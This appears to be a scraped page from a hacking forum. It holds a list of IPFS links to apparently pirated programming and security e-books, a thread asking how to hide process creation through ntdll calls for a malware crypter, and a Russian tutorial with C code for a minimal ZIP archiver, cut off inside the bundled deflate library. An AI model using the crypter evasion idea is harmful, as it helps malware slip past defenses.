[ https://cloudflare- ipfs.com/ipfs/bafykbzacecmoiusjeazjkdnaqvz4imucmtv4qzs4q6znvtujor72cobkw3x7q ](https://cloudflare- ipfs.com/ipfs/bafykbzacecmoiusjeazjkdnaqvz4imucmtv4qzs4q6znvtujor72cobkw3x7q)

Designing BSD Rootkits: An Introduction to Kernel Hacking ($10):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacecyrnw4hchfk5nhi7gfj2ainriv6xnnumw2eqgqpitzfuuyvv3dkq ](https://cloudflare- ipfs.com/ipfs/bafykbzacecyrnw4hchfk5nhi7gfj2ainriv6xnnumw2eqgqpitzfuuyvv3dkq)

Interactive Data Visualization for the Web: An Introduction to Designing with D3 ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzaceafbyyvpvjz2igfjo5xehlrxeiifavnn75p63z5gfj64rnbf56xca ](https://cloudflare- ipfs.com/ipfs/bafykbzaceafbyyvpvjz2igfjo5xehlrxeiifavnn75p63z5gfj64rnbf56xca)

Learning Web Development with Bootstrap and Angular ($50):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacec6oj7b5rufpt735usljh6xpwlzj6fukvba3pheplfkdo3snumdkgl ](https://cloudflare- ipfs.com/ipfs/bafykbzacec6oj7b5rufpt735usljh6xpwlzj6fukvba3pheplfkdo3snumdkgl)

Learning React: Functional Web Development with React and Redux ($50):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacebzxz3j7x75ick3mebxegguxerxduwuoiypxrd52e3hvj3wrsuqlg ](https://cloudflare- ipfs.com/ipfs/bafykbzacebzxz3j7x75ick3mebxegguxerxduwuoiypxrd52e3hvj3wrsuqlg)

Web Development with Node and Express: Leveraging the JavaScript Stack ($30):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacednfidmuavtt6fbkyh2feosd57ckiu4pesiw6o3d6uvqw2tmmnh4i ](https://cloudflare- ipfs.com/ipfs/bafykbzacednfidmuavtt6fbkyh2feosd57ckiu4pesiw6o3d6uvqw2tmmnh4i)

The Kubernetes Bible ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacechmu63acakyv3ogb6uth62tmyywhcde2qihtmx7srkccmz7tqvhc ](https://cloudflare- ipfs.com/ipfs/bafykbzacechmu63acakyv3ogb6uth62tmyywhcde2qihtmx7srkccmz7tqvhc)

Mastering Ubuntu Server ($30):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacedow3wj3pyyz3l5hyf44dbtggn6wdjsoeovyna43762fwr2o6iymm ](https://cloudflare- ipfs.com/ipfs/bafykbzacedow3wj3pyyz3l5hyf44dbtggn6wdjsoeovyna43762fwr2o6iymm)

Raspberry PI Cookbook ($10):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacedxi7ezoizcw7v45l7f7xlvxluqfumw53g4khbtnntx5kgyafoorg ](https://cloudflare- ipfs.com/ipfs/bafykbzacedxi7ezoizcw7v45l7f7xlvxluqfumw53g4khbtnntx5kgyafoorg)

Learning TypeScript ($50):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacebqjdbxztokr7dqvequerhkeerbrqwm3ree3ngqgdz2v3w6htycm6 ](https://cloudflare- ipfs.com/ipfs/bafykbzacebqjdbxztokr7dqvequerhkeerbrqwm3ree3ngqgdz2v3w6htycm6)

Learning Web Design ($50):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacedmxldrgjke6lwaqt455ffaghxj4eaobmjen4pfz6os4ouv4t66q4 ](https://cloudflare- ipfs.com/ipfs/bafykbzacedmxldrgjke6lwaqt455ffaghxj4eaobmjen4pfz6os4ouv4t66q4)

Modern Full-Stack Development Using TypeScript, React, Node.js, Webpack, and Docker ($30):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacedrb57vpmkvt2iigxsbxmlnb3ez6ert3bk724gnvyyft34cjpxgas ](https://cloudflare- ipfs.com/ipfs/bafykbzacedrb57vpmkvt2iigxsbxmlnb3ez6ert3bk724gnvyyft34cjpxgas)

Designing Great API's ($10):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacecbjp724iq2j5kwacjkdinlkckg5o63ib3urrgiurjzxsad4uuxuq ](https://cloudflare- ipfs.com/ipfs/bafykbzacecbjp724iq2j5kwacjkdinlkckg5o63ib3urrgiurjzxsad4uuxuq)

Distributed Systems with Node.js: Building Enterprise-Ready Backend Services ($50):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacedwnlqes3upolsxpvbkuryqy4plrrqozbmio5y24f7f37q6rm2ryg ](https://cloudflare- ipfs.com/ipfs/bafykbzacedwnlqes3upolsxpvbkuryqy4plrrqozbmio5y24f7f37q6rm2ryg)

Black Hat Python: Python Programming for Hackers and Pentesters ($30):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacea6ppgmhh5ijbhuya2cg7zor5d7u5am3shd5qene2nkrtvkve2dww ](https://cloudflare- ipfs.com/ipfs/bafykbzacea6ppgmhh5ijbhuya2cg7zor5d7u5am3shd5qene2nkrtvkve2dww)

The Official CompTIA® Network+® Student Guide (Exam N10-007): 2019 Update ($90):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacecjdp7ig2y4jpw3njbn4xyvbl34wz7cx4s43r6g2pabffbfrblqzo ](https://cloudflare- ipfs.com/ipfs/bafykbzacecjdp7ig2y4jpw3njbn4xyvbl34wz7cx4s43r6g2pabffbfrblqzo)

Hacking APIs: Breaking Web Application Programming Interfaces ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacecpvf5zrswpvozvcg3na2r633qcjrmrctjz55abflpvaczdxajevq ](https://cloudflare- ipfs.com/ipfs/bafykbzacecpvf5zrswpvozvcg3na2r633qcjrmrctjz55abflpvaczdxajevq)

Learning Malware Analysis ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzaceb4i7fiqlj2e5qi7wslzpqnaofzcidk4chsbwsxmvv5cl23cd7dpc ](https://cloudflare- ipfs.com/ipfs/bafykbzaceb4i7fiqlj2e5qi7wslzpqnaofzcidk4chsbwsxmvv5cl23cd7dpc)

Python API Development Fundamentals ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacedj7otxrsko4obk53mxsynukvw6vm32rgeatixipzukxf6nml2bb6 ](https://cloudflare- ipfs.com/ipfs/bafykbzacedj7otxrsko4obk53mxsynukvw6vm32rgeatixipzukxf6nml2bb6)

--------------------------------------------------------------------------------------------------------------------------------

Все электронные книги также размещены в Интернете, поэтому вам не нужно ничего скачивать.

[C/C++] CreateProcess obfuscation using ntdll
ID: 6765d804b4103b69df3757ad
Thread ID: 95253
Created: 2023-08-09T11:01:59+0000
Last Post: 2023-08-17T05:43:53+0000
Author: 3c2n90yt57489t3y8794
Replies: 11 Views: 735

Hi, I converted a lot of winapi syscall to their native version using ntdll but CreateProcess seems a bit harder to implement. I need to use it in my crypter so I need to create a suspended process and give it the variabile containing the PE buffer. The problem is that there is not much documentation about ntddl native syscall.
I could use:
- NtCreateProcessEx (very complex and long to do)
- NtCreateUserProcess (easy but.. can it get the variabile containing the PE buffer? It seems this call can work only with a disk path)
- other ?

What should I use? Are there alternatives? Any resource is appreciated

Изучаем структуру zip архива и пишем миниатюрную реализацию архиватора
ID: 6765d804b4103b69df3756d7
Thread ID: 120756
Created: 2024-08-14T09:53:09+0000
Last Post: 2024-08-14T09:53:09+0000
Author: H2SO4
Prefix: Статья
Replies: 0 Views: 733

АвторH2SO4
Источник https://xss.is/threads/120756/

zip-files-win-10.jpg

0. INTRO
Всем привет, в этой статье хочу показать из чего состоит zip-архив, наглядно продемонстрировать внутреннюю структуру и написать простую реализацию архиватора на си в виде header-only library.
Релизовывать будем именно миниатюрный, минимально возможный вариант архиватора, который будет соотвествовать спецификации. В нем будет поддержка имен файлов в utf-8, возможность указывать комментарий к архиву, не будет зависимости от библиотеки zlib, а сам код будет кросс-платформенным.
В статье я буду ссылаться на спецификацию формата zip: .ZIP File Format Specification

1. Структура zip-файла.
ZIP-файл это бинарный файл который можно условно поделить на 3 блока. В первом блоке содержатся сжатые данные, во втором содержатся описания данных и смещения на данные в первом блоке, в третьем содержатся количество файлов и смещение на второй блок. Давайте определим 3 важные структуры, которые нам в дальнейшем помогут разобраться:

Local file header:
local file header signature 4 bytes (0x04034b50)
version needed to extract 2 bytes
general purpose bit flag 2 bytes
compression method 2 bytes
last mod file time 2 bytes
last mod file date 2 bytes
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
file name length 2 bytes
extra field length 2 bytes

Central directory record:
central file header signature 4 bytes (0x02014b50)
version made by 2 bytes
version needed to extract 2 bytes
general purpose bit flag 2 bytes
compression method 2 bytes
last mod file time 2 bytes
last mod file date 2 bytes
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
file name length 2 bytes
extra field length 2 bytes
file comment length 2 bytes
disk number start 2 bytes
internal file attributes 2 bytes
external file attributes 4 bytes
relative offset of local header 4 bytes

End of central directory record:
end of central dir signature 4 bytes (0x06054b50)
number of this disk 2 bytes
number of the disk with the
start of the central directory 2 bytes
total number of entries in the
central directory on this disk 2 bytes
total number of entries in
the central directory 2 bytes
size of the central directory 4 bytes
offset of start of central
directory with respect to
the starting disk number 4 bytes
.ZIP file comment length 2 bytes

Click to expand...

Сразу же обозначим их на языке C:

C:Copy to clipboard

#pragma pack(push, 1)
struct LocalFileHeader
{
    uint32_t signature;
    uint16_t versionToExtract;
    uint16_t generalPurposeBitFlag;
    uint16_t compressionMethod;
    uint16_t modificationTime;
    uint16_t modificationDate;
    uint32_t crc32;
    uint32_t compressedSize;
    uint32_t uncompressedSize;
    uint16_t filenameLength;
    uint16_t extraFieldLength;

};
#pragma pack(pop)

#pragma pack(push, 1)
struct CentralDirectoryFileHeader
{
    uint32_t signature;
    uint16_t versionMadeBy;
    uint16_t versionToExtract;
    uint16_t generalPurposeBitFlag;
    uint16_t compressionMethod;
    uint16_t modificationTime;
    uint16_t modificationDate;
    uint32_t crc32;
    uint32_t compressedSize;
    uint32_t uncompressedSize;
    uint16_t filenameLength;
    uint16_t extraFieldLength;
    uint16_t fileCommentLength;
    uint16_t diskNumber;
    uint16_t internalFileAttributes;
    uint32_t externalFileAttributes;
    uint32_t localFileHeaderOffset;

};
#pragma pack(pop)

#pragma pack(push, 1)
struct EndOfCentralDirectory
{
    uint32_t signature;
    uint16_t diskNumber;
    uint16_t startDiskNumber;
    uint16_t numberCentralDirectoryRecord;
    uint16_t totalCentralDirectoryRecord;
    uint32_t sizeOfCentralDirectory;
    uint32_t centralDirectoryOffset;
    uint16_t commentLength;

};
#pragma pack(pop)

И константы:

C:Copy to clipboard

#define ZIP_LOCAL_HEADER   0x04034b50
#define ZIP_CENTRAL_HEADER   0x02014b50
#define ZIP_END_CENTRAL_HEADER   0x06054b50

Давайте посмотрим как будет выглядеть zip-архив, в котором будет только один файл text.txt.
Создадим файл 'text.txt' с текстом 'xss.is' и упакуем в архив 'zip1.zip'

Bash:Copy to clipboard

echo xss.is > text.txt & zip -X -m zip1.zip text.txt

Теперь посмотрим на файл в hex-редакторе:
1.png

Сразу же бросается в глаза повторяющиеся последовательности PK, это как-раз сигнатуры стрктур, которые определеные выше.
В самом начале файла мы видим байты '50 4B 03 04' - это сигнатура структуры LocalFileHeader. Давайте выделим всю структуру (30 байт):
2.png
Далее мы видим вполне читаемый текст: text.txtxss.is+'\n'. Это ничто иное как имя файла + тело файла.
3.png
Продолжаем двигаться по файлу: теперь перед нами структура CentralDirectoryFileHeader длиной 46 байт
4.png
И следом опять имя файла, но уже без данных:
5.png
Завершает файл структура EndOfCentralDirectory длиной 22 байта:
6.png
Теперь мы имеем общее представление того, как выглядит zip-архив содержащий один файл изнутри:
[LocalFileHeader]+[FILE_NAME]+[FILE_DATA]+[CentralDirectoryFileHeader]+[FILE_NAME]+[EndOfCentralDirectory]

Забегая на перед скажу, что если файлов в архиве будет несколько, архив будет выглядеть так:
[LocalFileHeader]+[FILE_NAME_0]+[FILE_DATA_0]+
[LocalFileHeader]+[FILE_NAME_1]+[FILE_DATA_1]+
[LocalFileHeader]+[FILE_NAME_2]+[FILE_DATA_2]+

[CentralDirectoryFileHeader]+[FILE_NAME_0]+
[CentralDirectoryFileHeader]+[FILE_NAME_1]+
[CentralDirectoryFileHeader]+[FILE_NAME_2]+

[EndOfCentralDirectory]

Внимательный читатель обратит внимание на то, что данные из файла у нас почему-то представлены в чистом виде, хотя по-идее они должны быть сжаты и выглядеть как 'кракозябры'. Дело в том, что сам файл у нас маленький, и если такой файл сжать, то как ни странно, занимать он будет больше места, чем несжатый. По этому архиватор решил файл не сжимать, а положить в архив как есть, указав на это в структурах LocalFileHeader и CentralDirectoryFileHeader , о чем я расскажу далее.

2. Разбираемся со структурами.
Так как мы собрались писать свой мини-архиватор, нам нужно чуть лучше разобраться со структурами LocalFileHeader , CentralDirectoryFileHeader и EndOfCentralDirectory и как их заполнять. Начнем с первой:

LocalFileHeader :

  • signature: сигнатура структуры, всегда должна быть 0x04034b50
  • versionToExtract: минимальная версия версия спецификации, которая будет поддерживать распаковку файла. В нашем тестовом архиве это поле указано как 10, что соответствует версии спецификации 1.0. Если бы наш файл в архиве был сжатым, то тут было бы 20.
  • general purpose bit flag: 2 байта, 16 бит, которые используются для информирования о различных типов сжатия, шифрования и т.д. Для реализации минимального архиватора нам нужно знать только про 11ый бит, взведя который мы укажем на то, что имена файлов закодированы в UTF-8.
  • compression method: уже интереснее - метод сжатия. В нашем архиве это поле равно 0. Если бы данные были сжаты алгоритмом deflate, то было бы 8.
  • last mod file time и last mod file date: время и дата модификации файла в формате MS-DOS. Можно смело забивать нулями.
  • crc-32: хэш-сумма НЕсжатого файла.
  • compressedSize и uncompressedSize: размер сжатого и несжатого файла в байтах. В нашем архиве эти поля одинаковы, но если файл был сжат, то compressedSize был бы меньше.
  • filenameLength: длина имени файла в байтах (не в символах)
  • extra field length: длина дополнительных полей для более поздних спецификаций, нам этого не надо, поставим 0

CentralDirectoryFileHeader:
Большинство полей дублируются, часть нам не нужны, остальные такие:

  • central file header signature: сигнатура структуры, всегда должна быть 0x02014b50
  • version made by: поле, которое описывает сразу два значения. Впервом байте кодируется версия спецификации, которой был упакован наш файл, а во втором вид файловой системы, на которой был файл. Например: 0 - MS-DOS, 3 - UNIX, 10 - Windows NTFS, 19 - OS X. Это нужно чтобы сохранить атрибуты файлов. Но для нашей мини-реализации атрибуты нам не нужны, по этому просто будем записывать сюда значения 63 и 3 (831 в виде uint16_t)
  • relative offset of local header: смещение на структуру LocalFileHeader , в нашем случае от начала файла.

В дублирующиеся поля нужно будет записать такие же значение, что и в LocalFileHeader , остальные можно занулить

EndOfCentralDirectory:

  • end of central dir signature: сигнатура структуры, всегда должна быть 0x06054b50
  • start of the central directory: смещение, опять же в нашем случае от начала файла, на первый CentralDirectoryFileHeader.
  • total number of entries in the central directory on this disk и total number of entries in the central directory: сюда запишем суммарное количество файлов в архиве
  • size of the central directory: суммарный размер central directory, того условного второго блока, в котором структуры CentralDirectoryFileHeader и имена файлов.
  • .ZIP file comment length: длина комментария zip-архива. После этой структуры можно написать любой текст, и в это поле указать его длину. Комментарий отобразится окне архиватора.

3. Сжатие данных
Стандартным вариантом сжатия для zip-архивов является метод Deflate. По мере развития формата также добавлялись алгоритмы Deflate64, PKWARE DCL Implode, BZIP2, LZMA и PPMd+.
В нашей реализации мы будем использовать Deflate. Писать самим алгоритм сжатия дело долгое, по этому мы просто позаимствуем его отсюда: https://github.com/vurtun/lib/blob/master/sdefl.h

Как сжать данные? Просто передаем в функцию нужные параметры:

C:Copy to clipboard

extern int sdeflate(struct sdefl *s, void *out, const void *in, int n, int lvl)

sdefl *s - структура, необходимая для работы алгоритма
void *out - буфер, куда запишутся сжатые данные. Нам нужно выделить под него память
void *in - указатель на сжимаемые данные
int n - размер данных
int lvl - уровень сжатия
Функция возвращает размер сжатых данных.

А как узнать, сколько выделить памяти под сжатые данные? Для этого есть функция sdefl_bound, в которую нужно передать размер входного буфера. Она вернет максимальный потенциально-возможный размер сжатых данных в байтах.
В итоге сжимать входной буфер мы будем такой функцией:

C:Copy to clipboard

void* compress_buffer(const void *buffer, uint32_t size, uint32_t *destLen)
{
    static struct sdefl sdefl;
    void* cbuffer = malloc(sdefl_bound(size));
    *destLen = sdeflate(&sdefl, cbuffer, buffer, size, SDEFL_LVL_DEF);
    return cbuffer;
}

4. Пишем архиватор
Теперь у нас перед глазами есть картина того как нужно формировать zip-архив.
Давайте составим алгоритм действий для архива, состоящего из одного файла:

  1. Выделяем какой-нибудь общий буфер, общий для всего архива, куда будем писать данные.
  2. Считаем crc32-хеш входного файла.
  3. Сжимаем файл алгоритмом Deflate.
  4. Заполняем структуру LocalFileHeader.
  5. Записываем LocalFileHeader в буфер.
  6. Записывем имя файла в буфер.
  7. Записываем сжатые данные в буфер.
  8. Заполняем и записывем в буфер структуру CentralDirectoryFileHeader.
  9. Опять записывем имя файла в буфер.
  10. Заполняем и записывем в буфер структуру EndOfCentralDirectory.

Для того чтобы записывать в архив много файлов, удобнее выделить два буфера:
В первый буфер мы будем записывать [LocalFileHeader_N]+[FILE_NAME_N]+[FILE_DATA_N]
Во второй [CentralDirectoryFileHeader_N]+[FILE_NAME_N]

При этом не забывая подсчитывать количество добавленных в архив файлов.
Перед тем как сохранить архив на диск, или отправить его куда-нибудь по сети, нужно будет перенести даннные из второго буфера в первый и дописать туда же заполненную структуру EndOfCentralDirectory.

Приступим к реализации

Объявим структуру в которой будем хранить всё нужное для нашего архива:

C:Copy to clipboard

typedef struct pico_zip
{
    uint16_t filesCount;
    void* buffer;
    void* cdfh_buffer;

    uint32_t buffer_size;
    uint32_t cdfh_buffer_size;
    bool isFinalized;
} pico_zip;

Функция инициализации. Выделяет память под нашу структуру pico_zip и возвращает указатель

C:Copy to clipboard

pico_zip * pico_zip_init()
{
    pico_zip * p_zip = (pico_zip *) malloc(sizeof(pico_zip));
    memset(p_zip, 0, sizeof(pico_zip));
    p_zip->filesCount = 0;
    p_zip->isFinalized = false;

    return p_zip;
};

Вспомогательная функция append_buffer. Принимает два буфера с их размерами. Добавляет данные из второго буфера в первый.

C:Copy to clipboard

void * append_buffer(void **buffer, uint32_t *size, const void *in_buffer, uint32_t in_size)
{
    void * tmp = realloc(*buffer, *size + in_size);
    memcpy((char *)tmp+*size, in_buffer, in_size);
    *size += in_size;
    *buffer = tmp;
    return tmp;
};

Функция pico_zip_pack. Это, собственно, то ради чего мы все здесь собрались.
Передаем в нее имя файла, сам файл и его размер, она все посчитает и запишет куда надо.
Имя файла в кодировке UTF-8, можно использовать "/" в имени, для создания каталогов в архиве, например "dir/subdir/file.txt"

C:Copy to clipboard

int pico_zip_pack(pico_zip * p_zip, const char *filename, const void *buffer, uint32_t size)
{
    uint32_t compressedSize = 0;
    void* cbuffer = compress_buffer(buffer, size, &compressedSize);
    if (cbuffer == NULL) return 1;


    struct LocalFileHeader lfh;
    struct CentralDirectoryFileHeader cdfh;
    memset(&lfh, 0, sizeof(lfh));
    memset(&cdfh, 0, sizeof(cdfh));

    lfh.signature = ZIP_LOCAL_HEADER;
    cdfh.signature = ZIP_CENTRAL_HEADER;
    lfh.versionToExtract = ZIP_VER_TO_EXTRACT;

    lfh.crc32 = crc32((unsigned char *)buffer, size);
    lfh.compressionMethod = Z_DEFLATED;
    lfh.compressedSize = compressedSize;
    lfh.uncompressedSize = size;
    lfh.filenameLength = strlen(filename);
    lfh.generalPurposeBitFlag = 1 << 11;

    cdfh.versionToExtract = lfh.versionToExtract;
    cdfh.versionMadeBy = ZIP_VER_MADE_BY;
    cdfh.compressedSize =lfh.compressedSize;
    cdfh.uncompressedSize = lfh.uncompressedSize;
    cdfh.compressionMethod = lfh.compressionMethod;
    cdfh.crc32 = lfh.crc32;
    cdfh.filenameLength = lfh.filenameLength;
    cdfh.generalPurposeBitFlag = lfh.generalPurposeBitFlag;
    cdfh.localFileHeaderOffset = p_zip->buffer_size;


    append_buffer(&p_zip->buffer, &p_zip->buffer_size, &lfh, sizeof(lfh));
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void* )filename, strlen(filename));
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, cbuffer, compressedSize);
    p_zip->filesCount++;
 
    append_buffer(&p_zip->cdfh_buffer, &p_zip->cdfh_buffer_size, &cdfh, sizeof(cdfh));
    append_buffer(&p_zip->cdfh_buffer, &p_zip->cdfh_buffer_size, (void* )filename, strlen(filename));
 
    free(cbuffer);
    return 0;
};

Функция pico_zip_finalize. Её нужно вызвать перед тем как мы закончим работу с архивом. Она соединит все наши буферы в один и сформирует EndOfCentralDirectory.
Так же в нее можно передать комментарий для архива

C:Copy to clipboard

int pico_zip_finalize(pico_zip * p_zip, const char *comment){
    struct EndOfCentralDirectory eocd;
    memset(&eocd, 0, sizeof(eocd));
    eocd.signature = ZIP_END_CENTRAL_HEADER;
    eocd.centralDirectoryOffset = p_zip -> buffer_size;
    eocd.numberCentralDirectoryRecord = p_zip -> filesCount;
    eocd.totalCentralDirectoryRecord = p_zip -> filesCount;
    eocd.sizeOfCentralDirectory = p_zip -> cdfh_buffer_size;
    eocd.commentLength=strlen(comment);
 
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, p_zip->cdfh_buffer, p_zip->cdfh_buffer_size);
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void*)&eocd, sizeof(eocd));
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void*)comment, eocd.commentLength);
    p_zip -> isFinalized = true;
    return 0;
};

Ну и после того как закончили с архивом не забудем освободить память функцией pico_zip_free

C:Copy to clipboard

int pico_zip_free(pico_zip * p_zip){
    free(p_zip -> cdfh_buffer);
    free(p_zip -> buffer);
    p_zip -> filesCount = 0;
    p_zip -> buffer_size = 0;
    p_zip -> cdfh_buffer_size = 0;
    p_zip -> isFinalized = false;
};

Теперь осталось объединить исходный код библиотеки sdefl.h с нашим кодом и у нас получится итоговая header-only library.

Пример использования:

C:Copy to clipboard

#include <stdio.h>
#include <stdlib.h>
#include "pico_zip.h"


int main(int argc, char *argv[])
{
    char * data = "Hello from XSS.IS";
    char * data1 = "AAAAAAAAAAAAAAAAA";
    pico_zip * zip = pico_zip_init();
    pico_zip_pack(zip, "xss.is.txt", (void *)data, strlen(data));
    pico_zip_pack(zip, "йцукен/こんにちは.txt", (void *)data1, strlen(data1));
    pico_zip_finalize(zip, "Comment-48949d91d9ew19ewf");
 
    FILE *output = NULL;
    output = fopen("output.zip", "wb");
    fwrite(zip->buffer, zip->buffer_size, 1, output);
    fclose(output);
 
    pico_zip_free(zip);
    return 0;
}

Компилируем, исполняем, смотрим:
7.png

Bash:Copy to clipboard

unzip -l output.zip

Bash:Copy to clipboard

Archive:  output.zip
Comment-48949d91d9ew19ewf
  Length      Date    Time    Name
---------  ---------- -----   ----
       17  1980-00-00 00:00   xss.is.txt
       17  1980-00-00 00:00   йцукен/こんにちは.txt
---------                     -------
       34                     2 files

В полученом архиве мы можем заметить интересный момент, как строка 'Hello from XSS.IS' в сжатом виде заняла на 5 байтов больше места чем несжатая. При этом 'AAAAAAAAAAAAAAAAA' сжалась (но всего на 2 байта).
По правильному это лучше обрабатывать и записывать в архив то, что занимает меньше места, но это мы оставим на совести читателей.

5. Итог.

В этой статье мы узнали внутренности zip-архива и научились самостоятельно архивировать файлы с помощью собственной библиотеки. Библиотека получилась миниатюрная, меньше 1000 строк, где ~70 процентов занимает алгоритм сжатия, а код для архивации оставшиеся ~30 процентов. Полный исходный код прикреплен ниже.

Spoiler: pico_zip.h

C:Copy to clipboard

#pragma once

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <assert.h>

////////////////
//from https://github.com/vurtun/lib/blob/master/sdefl.h

/*# Small Deflate
`sdefl` is a small bare bone lossless compression library in ANSI C (ISO C90)
which implements the Deflate (RFC 1951) compressed data format specification standard.
It is mainly tuned to get as much speed and compression ratio from as little code
as needed to keep the implementation as concise as possible.

## Features
- Portable single header and source file duo written in ANSI C (ISO C90)
- Dual license with either MIT or public domain
- Small implementation
    - Deflate: 525 LoC
    - Inflate: 320 LoC
- Webassembly:
    - Deflate ~3.7 KB (~2.2KB compressed)
    - Inflate ~3.6 KB (~2.2KB compressed)

## Usage:
This file behaves differently depending on what symbols you define
before including it.

Header-File mode:
If you do not define `SDEFL_IMPLEMENTATION` before including this file, it
will operate in header only mode. In this mode it declares all used structs
and the API of the library without including the implementation of the library.

Implementation mode:
If you define `SDEFL_IMPLEMENTATION` before including this file, it will
compile the implementation . Make sure that you only include
this file implementation in *one* C or C++ file to prevent collisions.

### Benchmark

| Compressor name         | Compression| Decompress.| Compr. size | Ratio |
| ------------------------| -----------| -----------| ----------- | ----- |
| miniz 1.0 -1            |   122 MB/s |   208 MB/s |    48510028 | 48.51 |
| miniz 1.0 -6            |    27 MB/s |   260 MB/s |    36513697 | 36.51 |
| miniz 1.0 -9            |    23 MB/s |   261 MB/s |    36460101 | 36.46 |
| zlib 1.2.11 -1          |    72 MB/s |   307 MB/s |    42298774 | 42.30 |
| zlib 1.2.11 -6          |    24 MB/s |   313 MB/s |    36548921 | 36.55 |
| zlib 1.2.11 -9          |    20 MB/s |   314 MB/s |    36475792 | 36.48 |
| sdefl 1.0 -0            |   127 MB/s |   355 MB/s |    40004116 | 39.88 |
| sdefl 1.0 -1            |   111 MB/s |   413 MB/s |    38940674 | 38.82 |
| sdefl 1.0 -5            |    45 MB/s |   436 MB/s |    36577183 | 36.46 |
| sdefl 1.0 -7            |    38 MB/s |   432 MB/s |    36523781 | 36.41 |
| libdeflate 1.3 -1       |   147 MB/s |   667 MB/s |    39597378 | 39.60 |
| libdeflate 1.3 -6       |    69 MB/s |   689 MB/s |    36648318 | 36.65 |
| libdeflate 1.3 -9       |    13 MB/s |   672 MB/s |    35197141 | 35.20 |
| libdeflate 1.3 -12      |  8.13 MB/s |   670 MB/s |    35100568 | 35.10 |

### Compression
Results on the [Silesia compression corpus](http://sun.aei.polsl.pl/~sdeor/index.php?page=silesia):

| File    |   Original | `sdefl 0`    | `sdefl 5`  | `sdefl 7`   |
| --------| -----------| -------------| ---------- | ------------|
| dickens | 10.192.446 | 4,260,187    |  3,845,261 |   3,833,657 |
| mozilla | 51.220.480 | 20,774,706   | 19,607,009 |  19,565,867 |
| mr      |  9.970.564 | 3,860,531    |  3,673,460 |   3,665,627 |
| nci     | 33.553.445 | 4,030,283    |  3,094,526 |   3,006,075 |
| ooffice |  6.152.192 | 3,320,063    |  3,186,373 |   3,183,815 |
| osdb    | 10.085.684 | 3,919,646    |  3,649,510 |   3,649,477 |
| reymont |  6.627.202 | 2,263,378    |  1,857,588 |   1,827,237 |
| samba   | 21.606.400 | 6,121,797    |  5,462,670 |   5,450,762 |
| sao     |  7.251.944 | 5,612,421    |  5,485,380 |   5,481,765 |
| webster | 41.458.703 | 13,972,648   | 12,059,432 |  11,991,421 |
| xml     |  5.345.280 | 886,620      |    674,009 |     662,141 |
| x-ray   |  8.474.240 | 6,304,655    |  6,244,779 |   6,244,779 |

## License
```
------------------------------------------------------------------------------
This software is available under 2 licenses -- choose whichever you prefer.
------------------------------------------------------------------------------
ALTERNATIVE A - MIT License
Copyright (c) 2020-2023 Micha Mettke
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
------------------------------------------------------------------------------
ALTERNATIVE B - Public Domain (www.unlicense.org)
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
software, either in source code form or as a compiled binary, for any purpose,
commercial or non-commercial, and by any means.
In jurisdictions that recognize copyright laws, the author or authors of this
software dedicate any and all copyright interest in the software to the public
domain. We make this dedication for the benefit of the public at large and to
the detriment of our heirs and successors. We intend this dedication to be an
overt act of relinquishment in perpetuity of all present and future rights to
this software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
------------------------------------------------------------------------------
```
*/

#ifdef __cplusplus
extern "C" {
#endif

#define SDEFL_MAX_OFF   (1 << 15)
#define SDEFL_WIN_SIZ   SDEFL_MAX_OFF
#define SDEFL_WIN_MSK   (SDEFL_WIN_SIZ-1)

#define SDEFL_HASH_BITS 15
#define SDEFL_HASH_SIZ  (1 << SDEFL_HASH_BITS)
#define SDEFL_HASH_MSK  (SDEFL_HASH_SIZ-1)

